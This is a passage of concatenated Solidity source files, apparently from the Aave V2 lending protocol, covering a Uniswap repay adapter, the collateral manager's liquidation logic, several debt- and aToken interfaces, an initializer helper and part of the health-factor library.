'../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; /** * @title UniswapRepayAdapter * @notice Uniswap V2 Adapter to perform a repay of a debt with collateral. * @author Aave **/ contract UniswapRepayAdapter is BaseUniswapAdapter { struct RepayParams { address collateralAsset; uint256 collateralAmount; uint256 rateMode; PermitSignature permitSignature; bool useEthPath; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Uses the received funds from the flash loan to repay a debt on the protocol on behalf of the user. Then pulls * the collateral from the user and swaps it to the debt asset to repay the flash loan. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset, swap it * and repay the flash loan. * Supports only one asset on the flash loan. * @param assets Address of debt asset * @param amounts Amount of the debt to be repaid * @param premiums Fee of the flash loan * @param initiator Address of the user * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset Address of the reserve to be swapped * uint256 collateralAmount Amount of reserve to be swapped * uint256 rateMode Rate modes of the debt to be repaid * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v V param for the permit signature * bytes32 r R param for the permit signature * bytes32 s S param for the permit signature */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); RepayParams memory decodedParams = _decodeParams(params); _swapAndRepay( decodedParams.collateralAsset, assets[0], amounts[0], decodedParams.collateralAmount, decodedParams.rateMode, initiator, premiums[0], decodedParams.permitSignature, decodedParams.useEthPath ); return true; } /** * @dev Swaps the user collateral for the debt asset and then repay the debt on the protocol on behalf of the user * without using flash loans. This method can be used when the temporary transfer of the collateral asset to this * contract does not affect the user position. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset * @param collateralAsset Address of asset to be swapped * @param debtAsset Address of debt asset * @param collateralAmount Amount of the collateral to be swapped * @param debtRepayAmount Amount of the debt to be repaid * @param debtRateMode Rate mode of the debt to be repaid * @param permitSignature struct containing the permit signature * @param useEthPath struct containing the permit signature */ function swapAndRepay( address collateralAsset, address debtAsset, uint256 collateralAmount, uint256 debtRepayAmount, uint256 debtRateMode, PermitSignature calldata permitSignature, bool useEthPath ) external { DataTypes.ReserveData memory collateralReserveData = _getReserveData(collateralAsset); DataTypes.ReserveData memory debtReserveData = _getReserveData(debtAsset); address debtToken = DataTypes.InterestRateMode(debtRateMode) == DataTypes.InterestRateMode.STABLE ? debtReserveData.stableDebtTokenAddress : debtReserveData.variableDebtTokenAddress; uint256 currentDebt = IERC20(debtToken).balanceOf(msg.sender); uint256 amountToRepay = debtRepayAmount <= currentDebt ? debtRepayAmount : currentDebt; if (collateralAsset != debtAsset) { uint256 maxCollateralToSwap = collateralAmount; if (amountToRepay < debtRepayAmount) { maxCollateralToSwap = maxCollateralToSwap.mul(amountToRepay).div(debtRepayAmount); } // Get exact collateral needed for the swap to avoid leftovers uint256[] memory amounts = _getAmountsIn(collateralAsset, debtAsset, amountToRepay, useEthPath); require(amounts[0] <= maxCollateralToSwap, 'slippage too high'); // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, msg.sender, amounts[0], permitSignature ); // Swap collateral for debt asset _swapTokensForExactTokens(collateralAsset, debtAsset, amounts[0], amountToRepay, useEthPath); } else { // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, msg.sender, amountToRepay, permitSignature ); } // Repay debt. Approves 0 first to comply with tokens that implement the anti frontrunning approval fix IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amountToRepay); LENDING_POOL.repay(debtAsset, amountToRepay, debtRateMode, msg.sender); } /** * @dev Perform the repay of the debt, pulls the initiator collateral and swaps to repay the flash loan * * @param collateralAsset Address of token to be swapped * @param debtAsset Address of debt token to be received from the swap * @param amount Amount of the debt to be repaid * @param collateralAmount Amount of the reserve to be swapped * @param rateMode Rate mode of the debt to be repaid * @param initiator Address of the user * @param premium Fee of the flash loan * @param permitSignature struct containing the permit signature */ function _swapAndRepay( address collateralAsset, address debtAsset, uint256 amount, uint256 collateralAmount, uint256 rateMode, address initiator, uint256 premium, PermitSignature memory permitSignature, bool useEthPath ) internal { DataTypes.ReserveData memory collateralReserveData = _getReserveData(collateralAsset); // Repay debt. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amount); uint256 repaidAmount = IERC20(debtAsset).balanceOf(address(this)); LENDING_POOL.repay(debtAsset, amount, rateMode, initiator); repaidAmount = repaidAmount.sub(IERC20(debtAsset).balanceOf(address(this))); if (collateralAsset != debtAsset) { uint256 maxCollateralToSwap = collateralAmount; if (repaidAmount < amount) { maxCollateralToSwap = maxCollateralToSwap.mul(repaidAmount).div(amount); } uint256 neededForFlashLoanDebt = repaidAmount.add(premium); uint256[] memory amounts = _getAmountsIn(collateralAsset, debtAsset, neededForFlashLoanDebt, useEthPath); require(amounts[0] <= maxCollateralToSwap, 'slippage too high'); // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, initiator, amounts[0], permitSignature ); // Swap collateral asset to the debt asset _swapTokensForExactTokens( collateralAsset, debtAsset, amounts[0], neededForFlashLoanDebt, useEthPath ); } else { // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, initiator, repaidAmount.add(premium), permitSignature ); } // Repay flashloan. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amount.add(premium)); } /** * @dev Decodes debt information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset Address of the reserve to be swapped * uint256 collateralAmount Amount of reserve to be swapped * uint256 rateMode Rate modes of the debt to be repaid * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v V param for the permit signature * bytes32 r R param for the permit signature * bytes32 s S param for the permit signature * bool useEthPath use WETH path route * @return RepayParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (RepayParams memory) { ( address collateralAsset, uint256 collateralAmount, uint256 rateMode, uint256 permitAmount, uint256 deadline, uint8 v, bytes32 r, bytes32 s, bool useEthPath ) = abi.decode( params, (address, uint256, uint256, uint256, uint256, uint8, bytes32, bytes32, bool) ); return RepayParams( collateralAsset, collateralAmount, rateMode, PermitSignature(permitAmount, deadline, v, r, s), useEthPath ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts//SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts//IERC20.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {ILendingPoolCollateralManager} from '../../interfaces/ILendingPoolCollateralManager.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {GenericLogic} from '../libraries/logic/GenericLogic.sol'; import {Helpers} from '../libraries/helpers/Helpers.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {ValidationLogic} from '../libraries/logic/ValidationLogic.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {LendingPoolStorage} from './LendingPoolStorage.sol'; /** * @title LendingPoolCollateralManager contract * @author Aave * @dev Implements actions involving management of collateral in the protocol, the main one being the liquidations * IMPORTANT This contract will run always via DELEGATECALL, through the LendingPool, so the chain of inheritance * is the same as the LendingPool, to have compatible storage layouts **/ contract LendingPoolCollateralManager is ILendingPoolCollateralManager, VersionedInitializable, LendingPoolStorage { using SafeERC20 for IERC20; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; uint256 internal constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 5000; struct LiquidationCallLocalVars { uint256 userCollateralBalance; uint256 userStableDebt; uint256 userVariableDebt; uint256 maxLiquidatableDebt; uint256 actualDebtToLiquidate; uint256 liquidationRatio; uint256 maxAmountCollateralToLiquidate; uint256 userStableRate; uint256 maxCollateralToLiquidate; uint256 debtAmountNeeded; uint256 healthFactor; uint256 liquidatorPreviousATokenBalance; IAToken collateralAtoken; bool isCollateralEnabled; DataTypes.InterestRateMode borrowRateMode; uint256 errorCode; string errorMsg; } /** * @dev As thIS contract extends the VersionedInitializable contract to match the state * of the LendingPool contract, the getRevision() function is needed, but the value is not * important, as the initialize() function will never be called here */ function getRevision() internal pure override returns (uint256) { return 0; } /** * @dev Function to liquidate a position if its Health Factor drops below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external override returns (uint256, string memory) { DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; LiquidationCallLocalVars memory vars; (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( user, _reserves, userConfig, _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); (vars.userStableDebt, vars.userVariableDebt) = Helpers.getUserCurrentDebt(user, debtReserve); (vars.errorCode, vars.errorMsg) = ValidationLogic.validateLiquidationCall( collateralReserve, debtReserve, userConfig, vars.healthFactor, vars.userStableDebt, vars.userVariableDebt ); if (Errors.CollateralManagerErrors(vars.errorCode) != Errors.CollateralManagerErrors.NO_ERROR) { return (vars.errorCode, vars.errorMsg); } vars.collateralAtoken = IAToken(collateralReserve.aTokenAddress); vars.userCollateralBalance = vars.collateralAtoken.balanceOf(user); vars.maxLiquidatableDebt = vars.userStableDebt.add(vars.userVariableDebt).percentMul( LIQUIDATION_CLOSE_FACTOR_PERCENT ); vars.actualDebtToLiquidate = debtToCover > vars.maxLiquidatableDebt ? vars.maxLiquidatableDebt : debtToCover; ( vars.maxCollateralToLiquidate, vars.debtAmountNeeded ) = _calculateAvailableCollateralToLiquidate( collateralReserve, debtReserve, collateralAsset, debtAsset, vars.actualDebtToLiquidate, vars.userCollateralBalance ); // If debtAmountNeeded < actualDebtToLiquidate, there isn't enough // collateral to cover the actual amount that is being liquidated, hence we liquidate // a smaller amount if (vars.debtAmountNeeded < vars.actualDebtToLiquidate) { vars.actualDebtToLiquidate = vars.debtAmountNeeded; } // If the liquidator reclaims the underlying asset, we make sure there is enough available liquidity in the // collateral reserve if (!receiveAToken) { uint256 currentAvailableCollateral = IERC20(collateralAsset).balanceOf(address(vars.collateralAtoken)); if (currentAvailableCollateral < vars.maxCollateralToLiquidate) { return ( uint256(Errors.CollateralManagerErrors.NOT_ENOUGH_LIQUIDITY), Errors.LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE ); } } debtReserve.updateState(); if (vars.userVariableDebt >= vars.actualDebtToLiquidate) { IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn( user, vars.actualDebtToLiquidate, debtReserve.variableBorrowIndex ); } else { // If the user doesn't have variable debt, no need to try to burn variable debt tokens if (vars.userVariableDebt > 0) { IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn( user, vars.userVariableDebt, debtReserve.variableBorrowIndex ); } IStableDebtToken(debtReserve.stableDebtTokenAddress).burn( user, vars.actualDebtToLiquidate.sub(vars.userVariableDebt) ); } debtReserve.updateInterestRates( debtAsset, debtReserve.aTokenAddress, vars.actualDebtToLiquidate, 0 ); if (receiveAToken) { vars.liquidatorPreviousATokenBalance = IERC20(vars.collateralAtoken).balanceOf(msg.sender); vars.collateralAtoken.transferOnLiquidation(user, msg.sender, vars.maxCollateralToLiquidate); if (vars.liquidatorPreviousATokenBalance == 0) { DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender]; liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true); emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender); } } else { collateralReserve.updateState(); collateralReserve.updateInterestRates( collateralAsset, address(vars.collateralAtoken), 0, vars.maxCollateralToLiquidate ); // Burn the equivalent amount of aToken, sending the underlying to the liquidator vars.collateralAtoken.burn( user, msg.sender, vars.maxCollateralToLiquidate, collateralReserve.liquidityIndex ); } // If the collateral being liquidated is equal to the user balance, // we set the currency as not being used as collateral anymore if (vars.maxCollateralToLiquidate == vars.userCollateralBalance) { userConfig.setUsingAsCollateral(collateralReserve.id, false); emit ReserveUsedAsCollateralDisabled(collateralAsset, user); } // Transfers the debt asset being repaid to the aToken, where the liquidity is kept IERC20(debtAsset).safeTransferFrom( msg.sender, debtReserve.aTokenAddress, vars.actualDebtToLiquidate ); emit LiquidationCall( collateralAsset, debtAsset, user, vars.actualDebtToLiquidate, vars.maxCollateralToLiquidate, msg.sender, receiveAToken ); return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS); } struct AvailableCollateralToLiquidateLocalVars { uint256 userCompoundedBorrowBalance; uint256 liquidationBonus; uint256 collateralPrice; uint256 debtAssetPrice; uint256 maxAmountCollateralToLiquidate; uint256 debtAssetDecimals; uint256 collateralDecimals; } /** * @dev Calculates how much of a specific collateral can be liquidated, given * a certain amount of debt asset. * - This function needs to be called after all the checks to validate the liquidation have been performed, * otherwise it might fail. * @param collateralReserve The data of the collateral reserve * @param debtReserve The data of the debt reserve * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param userCollateralBalance The collateral balance for the specific `collateralAsset` of the user being liquidated * @return collateralAmount: The maximum amount that is possible to liquidate given all the liquidation constraints * (user balance, close factor) * debtAmountNeeded: The amount to repay with the liquidation **/ function _calculateAvailableCollateralToLiquidate( DataTypes.ReserveData storage collateralReserve, DataTypes.ReserveData storage debtReserve, address collateralAsset, address debtAsset, uint256 debtToCover, uint256 userCollateralBalance ) internal view returns (uint256, uint256) { uint256 collateralAmount = 0; uint256 debtAmountNeeded = 0; IPriceOracleGetter oracle = IPriceOracleGetter(_addressesProvider.getPriceOracle()); AvailableCollateralToLiquidateLocalVars memory vars; vars.collateralPrice = oracle.getAssetPrice(collateralAsset); vars.debtAssetPrice = oracle.getAssetPrice(debtAsset); (, , vars.liquidationBonus, vars.collateralDecimals, ) = collateralReserve .configuration .getParams(); vars.debtAssetDecimals = debtReserve.configuration.getDecimals(); // This is the maximum possible amount of the selected collateral that can be liquidated, given the // max amount of liquidatable debt vars.maxAmountCollateralToLiquidate = vars .debtAssetPrice .mul(debtToCover) .mul(10**vars.collateralDecimals) .percentMul(vars.liquidationBonus) .div(vars.collateralPrice.mul(10**vars.debtAssetDecimals)); if (vars.maxAmountCollateralToLiquidate > userCollateralBalance) { collateralAmount = userCollateralBalance; debtAmountNeeded = vars .collateralPrice .mul(collateralAmount) .mul(10**vars.debtAssetDecimals) .div(vars.debtAssetPrice.mul(10**vars.collateralDecimals)) .percentDiv(vars.liquidationBonus); } else { collateralAmount = vars.maxAmountCollateralToLiquidate; debtAmountNeeded = debtToCover; } return (collateralAmount, debtAmountNeeded); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IScaledBalanceToken} from './IScaledBalanceToken.sol'; import {IInitializableAToken} from './IInitializableAToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; interface IAToken is IERC20, IScaledBalanceToken, IInitializableAToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param value The amount being * @param index The new liquidity index of the reserve **/ event Mint(address indexed from, uint256 value, uint256 index); /** * @dev Mints `amount` aTokens to `user` * @param user The address receiving the minted tokens * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve * @return `true` if the the previous balance of the user was 0 */ function mint( address user, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted after aTokens are burned * @param from The owner of the aTokens, getting them burned * @param target The address that will receive the underlying * @param value The amount being burned * @param index The new liquidity index of the reserve **/ event Burn(address indexed from, address indexed target, uint256 value, uint256 index); /** * @dev Emitted during the transfer action * @param from The user whose tokens are being transferred * @param to The recipient * @param value The amount being transferred * @param index The new liquidity index of the reserve **/ event BalanceTransfer(address indexed from, address indexed to, uint256 value, uint256 index); /** * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying` * @param user The owner of the aTokens, getting them burned * @param receiverOfUnderlying The address that will receive the underlying * @param amount The amount being burned * @param index The new liquidity index of the reserve **/ function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external; /** * @dev Mints aTokens to the reserve treasury * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve */ function mintToTreasury(uint256 amount, uint256 index) external; /** * @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken * @param from The address getting liquidated, current owner of the aTokens * @param to The recipient * @param value The amount of tokens getting transferred **/ function transferOnLiquidation( address from, address to, uint256 value ) external; /** * @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer * assets in borrow(), withdraw() and flashLoan() * @param user The recipient of the underlying * @param amount The amount getting transferred * @return The amount transferred **/ function transferUnderlyingTo(address user, uint256 amount) external returns (uint256); /** * @dev Invoked to execute actions on the aToken side after a repayment. * @param user The user executing the repayment * @param amount The amount getting repaid **/ function handleRepayment(address user, uint256 amount) external; /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IInitializableDebtToken} from './IInitializableDebtToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IStableDebtToken * @notice Defines the interface for the stable debt token * @dev It does not inherit from IERC20 to save in code size * @author Aave **/ interface IStableDebtToken is IInitializableDebtToken { /** * @dev Emitted when new stable debt is minted * @param user The address of the user who triggered the minting * @param onBehalfOf The recipient of stable debt tokens * @param amount The amount minted * @param currentBalance The current balance of the user * @param balanceIncrease The increase in balance since the last action of the user * @param newRate The rate of the debt after the minting * @param avgStableRate The new average stable rate after the minting * @param newTotalSupply The new total supply of the stable debt token after the action **/ event Mint( address indexed user, address indexed onBehalfOf, uint256 amount, uint256 currentBalance, uint256 balanceIncrease, uint256 newRate, uint256 avgStableRate, uint256 newTotalSupply ); /** * @dev Emitted when new stable debt is burned * @param user The address of the user * @param amount The amount being burned * @param currentBalance The current balance of the user * @param balanceIncrease The the increase in balance since the last action of the user * @param avgStableRate The new average stable rate after the burning * @param newTotalSupply The new total supply of the stable debt token after the action **/ event Burn( address indexed user, uint256 amount, uint256 currentBalance, uint256 balanceIncrease, uint256 avgStableRate, uint256 newTotalSupply ); /** * @dev Mints debt token to the `onBehalfOf` address. * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt tokens to mint * @param rate The rate of the debt being minted **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external returns (bool); /** * @dev Burns debt of `user` * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address of the user getting his debt burned * @param amount The amount of debt tokens getting burned **/ function burn(address user, uint256 amount) external; /** * @dev Returns the average rate of all the stable rate loans. * @return The average stable rate **/ function getAverageStableRate() external view returns (uint256); /** * @dev Returns the stable rate of the user debt * @return The stable rate of the user **/ function getUserStableRate(address user) external view returns (uint256); /** * @dev Returns the timestamp of the last update of the user * @return The timestamp **/ function getUserLastUpdated(address user) external view returns (uint40); /** * @dev Returns the principal, the total supply and the average stable rate **/ function getSupplyData() external view returns ( uint256, uint256, uint256, uint40 ); /** * @dev Returns the timestamp of the last update of the total supply * @return The timestamp **/ function getTotalSupplyLastUpdated() external view returns (uint40); /** * @dev Returns the total supply and the average stable rate **/ function getTotalSupplyAndAvgRate() external view returns (uint256, uint256); /** * @dev Returns the principal debt balance of the user * @return The debt balance of the user since the last burn/mint action **/ function principalBalanceOf(address user) external view returns (uint256); /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IScaledBalanceToken} from './IScaledBalanceToken.sol'; import {IInitializableDebtToken} from './IInitializableDebtToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IVariableDebtToken * @author Aave * @notice Defines the basic interface for a variable debt token. **/ interface IVariableDebtToken is IScaledBalanceToken, IInitializableDebtToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param onBehalfOf The address of the user on which behalf minting has been performed * @param value The amount to be minted * @param index The last index of the reserve **/ event Mint(address indexed from, address indexed onBehalfOf, uint256 value, uint256 index); /** * @dev Mints debt token to the `onBehalfOf` address * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted when variable debt is burnt * @param user The user which debt has been burned * @param amount The amount of debt being burned * @param index The index of the user **/ event Burn(address indexed user, uint256 amount, uint256 index); /** * @dev Burns user variable debt * @param user The user which debt is burnt * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external; /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title ILendingPoolCollateralManager * @author Aave * @notice Defines the actions involving management of collateral in the protocol. **/ interface ILendingPoolCollateralManager { /** * @dev Emitted when a borrower is liquidated * @param collateral The address of the collateral being liquidated * @param principal The address of the reserve * @param user The address of the user being liquidated * @param debtToCover The total amount liquidated * @param liquidatedCollateralAmount The amount of collateral being liquidated * @param liquidator The address of the liquidator * @param receiveAToken true if the liquidator wants to receive aTokens, false otherwise **/ event LiquidationCall( address indexed collateral, address indexed principal, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when a reserve is disabled as collateral for an user * @param reserve The address of the reserve * @param user The address of the user **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted when a reserve is enabled as collateral for an user * @param reserve The address of the reserve * @param user The address of the user **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Users can invoke this function to liquidate an undercollateralized position. * @param collateral The address of the collateral to liquidated * @param principal The address of the principal reserve * @param user The address of the borrower * @param debtToCover The amount of principal that the liquidator wants to repay * @param receiveAToken true if the liquidators wants to receive the aTokens, false if * he wants to receive the underlying asset directly **/ function liquidationCall( address collateral, address principal, address user, uint256 debtToCover, bool receiveAToken ) external returns (uint256, string memory); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title VersionedInitializable * * @dev Helper contract to implement initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. * * @author Aave, inspired by the OpenZeppelin Initializable contract */ abstract contract VersionedInitializable { /** * @dev Indicates that the contract has been initialized. */ uint256 private lastInitializedRevision = 0; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { uint256 revision = getRevision(); require( initializing || isConstructor() || revision > lastInitializedRevision, 'Contract instance has already been initialized' ); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; lastInitializedRevision = revision; } _; if (isTopLevelCall) { initializing = false; } } /** * @dev returns the revision number of the contract * Needs to be defined in the inherited class as a constant. **/ function getRevision() internal pure virtual returns (uint256); /** * @dev Returns true if and only if the function is running in the constructor **/ function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. uint256 cs; //solium-disable-next-line assembly { cs := extcodesize(address()) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title GenericLogic library * @author Aave * @title Implements protocol-level logic to calculate and validate the state of a user */ library GenericLogic { using ReserveLogic for DataTypes.ReserveData; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1 ether; struct balanceDecreaseAllowedLocalVars { uint256 decimals; uint256 liquidationThreshold; uint256 totalCollateralInETH; uint256 totalDebtInETH; uint256 avgLiquidationThreshold; uint256 amountToDecreaseInETH; uint256 collateralBalanceAfterDecrease; uint256 liquidationThresholdAfterDecrease; uint256 healthFactorAfterDecrease; bool reserveUsageAsCollateralEnabled; } /** * @dev Checks if a specific balance decrease is allowed * (i.e. doesn't bring the user borrow position health factor under HEALTH_FACTOR_LIQUIDATION_THRESHOLD) * @param asset The address of the underlying asset of the reserve * @param user The address of the user * @param amount The amount to decrease * @param reservesData The data of all the reserves * @param userConfig The user configuration * @param reserves The list of all the active reserves * @param oracle The address of the oracle contract * @return true if the decrease of the balance is allowed **/ function balanceDecreaseAllowed( address asset, address user, uint256 amount, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap calldata userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view returns (bool) { if (!userConfig.isBorrowingAny() || !userConfig.isUsingAsCollateral(reservesData[asset].id)) { return true; } balanceDecreaseAllowedLocalVars memory vars; (, vars.liquidationThreshold, , vars.decimals, ) = reservesData[asset] .configuration .getParams(); if (vars.liquidationThreshold == 0) { return true; } ( vars.totalCollateralInETH, vars.totalDebtInETH, , vars.avgLiquidationThreshold, ) = calculateUserAccountData(user, reservesData, userConfig, reserves, reservesCount, oracle); if (vars.totalDebtInETH == 0) { return true; } vars.amountToDecreaseInETH = IPriceOracleGetter(oracle).getAssetPrice(asset).mul(amount).div( 10**vars.decimals ); vars.collateralBalanceAfterDecrease = vars.totalCollateralInETH.sub(vars.amountToDecreaseInETH); //if there is a borrow, there can't be 0 collateral if (vars.collateralBalanceAfterDecrease == 0) { return false; } vars.liquidationThresholdAfterDecrease = vars .totalCollateralInETH .mul(vars.avgLiquidationThreshold) .sub(vars.amountToDecreaseInETH.mul(vars.liquidationThreshold)) .div(vars.collateralBalanceAfterDecrease); uint256 healthFactorAfterDecrease = calculateHealthFactorFromBalances( vars.collateralBalanceAfterDecrease, vars.totalDebtInETH, vars.liquidationThresholdAfterDecrease ); return healthFactorAfterDecrease >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD; } struct CalculateUserAccountDataVars { uint256 reserveUnitPrice; uint256 tokenUnit; uint256 compoundedLiquidityBalance; uint256 compoundedBorrowBalance; uint256 decimals; uint256 ltv; uint256 liquidationThreshold; uint256 i; uint256 healthFactor; uint256 totalCollateralInETH; uint256 totalDebtInETH; uint256 avgLtv; uint256 avgLiquidationThreshold; uint256 reservesLength; bool healthFactorBelowThreshold; address currentReserveAddress; bool usageAsCollateralEnabled; bool userUsesReserveAsCollateral; } /** * @dev Calculates the user data across the reserves. * this includes the total liquidity/collateral/borrow balances in ETH, * the average Loan To Value, the average Liquidation Ratio, and the Health factor. * @param user The address of the user * @param reservesData Data of all the reserves * @param userConfig The configuration of the user * @param reserves The list of the available reserves * @param oracle The price oracle address * @return The total collateral and total debt of the user in ETH, the avg ltv, liquidation threshold and the HF **/ function calculateUserAccountData( address user, 